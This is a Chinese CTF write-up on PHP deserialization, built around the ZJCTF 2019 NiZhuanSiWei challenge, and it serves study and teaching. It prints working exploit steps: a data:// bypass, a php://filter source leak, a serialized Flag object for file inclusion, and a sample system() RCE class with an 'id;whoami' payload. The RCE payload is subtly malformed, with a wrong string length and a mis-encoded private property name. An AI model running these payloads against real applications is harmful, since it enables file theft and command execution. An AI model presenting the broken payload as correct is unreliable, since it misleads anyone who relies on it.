从一道BUUCTF题复盘PHP反序列化漏洞:ZJCTF 2019 NiZhuanSiWei的Flag类如何利用
从Flag类到RCE:PHP反序列化漏洞的深度利用实战
在CTF竞赛和实际渗透测试中,PHP反序列化漏洞因其高危害性和利用灵活性而备受关注。本文将以ZJCTF 2019的NiZhuanSiWei题目为例,通过分析Flag类的实现缺陷,展示如何将一个看似简单的反序列化点转化为完整的攻击链。
当我们拿到useless.php文件时,首先需要关注其中可序列化的类结构。以下是经过简化的关键代码片段:
class Flag {
public $file;
public function __construct($file) {
$this->file = $file;
}
public function __destruct() {
include($this->file);
}
}
这个简单的Flag类实际上包含了三个危险要素:
- 存在
__destruct魔术方法 - 方法中直接包含文件包含操作
- 包含的目标文件由类属性控制
1. 反序列化漏洞的触发原理
PHP反序列化漏洞的核心在于:当不可信数据被反序列化时,会按照序列化字符串中的类结构重建对象,并自动调用特定的魔术方法。常见的危险魔术方法包括:
| 魔术方法 | 触发时机 | 常见危险操作 |
|---|---|---|
__construct |
对象创建时 | 初始化敏感操作 |
__destruct |
对象销毁时 | 文件操作、命令执行 |
__wakeup |
反序列化完成后 | 权限检查绕过 |
__toString |
对象被当作字符串处理时 | XSS、文件读取 |
在Flag类中, __destruct 方法会在对象生命周期结束时自动调用,而其中的 include 语句会直接包含 $file 指定的文件。如果攻击者能够控制这个属性,就能实现任意文件包含。
2. 手工构造序列化Payload
要利用这个漏洞,我们需要构造一个特殊的序列化字符串,使得反序列化后:
- 创建一个Flag类实例
- 将file属性设置为目标文件路径(如flag.php)
- 在对象销毁时自动包含目标文件
手工构造的Payload如下:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这个字符串的各个部分解析如下:
O:4:"Flag":表示一个对象(Object),类名为"Flag"(长度4):1::表示该对象有1个属性{s:4:"file";s:8:"flag.php";}:属性名为"file"(长度4),值为"flag.php"(长度8)
在PHP中,可以使用以下代码生成这个Payload:
$flag = new Flag("flag.php");
echo serialize($flag);
3. 漏洞的完整利用链条
结合题目环境,完整的攻击流程分为三个步骤:
-
绕过初始检查 :使用data协议传递特定字符串
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= -
获取关键源码 :通过文件包含读取useless.php
?file=php://filter/read=convert.base64-encode/resource=useless.php -
触发反序列化 :提交构造好的序列化数据
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
这种攻击方式之所以有效,是因为整个过程中没有任何对反序列化数据的校验。攻击者完全控制了对象的属性和行为。
4. 从CTF到真实世界的漏洞利用
在实际应用中,反序列化漏洞的危害远不止于读取文件。通过精心构造的POP链(Property-Oriented Programming),攻击者可以实现:
- 任意文件读写(通过
file_put_contents等函数) - 远程代码执行(通过
eval或危险函数调用) - 数据库操作(通过暴露的数据库连接对象)
- 权限提升(通过篡改权限检查属性)
以下是一个更危险的类示例,展示了如何通过反序列化实现RCE:
class Dangerous {
private $command;
public function __construct($cmd) {
$this->command = $cmd;
}
public function __wakeup() {
system($this->command);
}
}
// 生成的Payload
// O:9:"Dangerous":1:{s:16:"Dangerouscommand";s:10:"id;whoami";}
5. 防御措施与最佳实践
要防范这类漏洞,开发者应该:
- 避免反序列化不可信数据 :这是最根本的解决方案
- 使用安全替代方案 :如JSON格式传递数据
- 实现严格校验 :使用签名验证数据完整性
- 限制魔术方法行为 :在
__wakeup等方法中加入安全检查 - 使用白名单机制 :只允许反序列化特定的安全类
对于安全研究人员来说,在代码审计时需要特别关注:
unserialize()函数的调用点- 所有实现了魔术方法的类
- 类属性与敏感操作的关联性
- 可能的POP链构造路径
在NiZhuanSiWei这道题中,漏洞利用的关键在于发现Flag类的 __destruct 方法中存在危险操作。这种"简陋"的实现方式在早期PHP应用中相当常见,也正因如此,PHP反序列化漏洞成为了Web安全领域经久不衰的研究课题。
更多推荐

所有评论(0)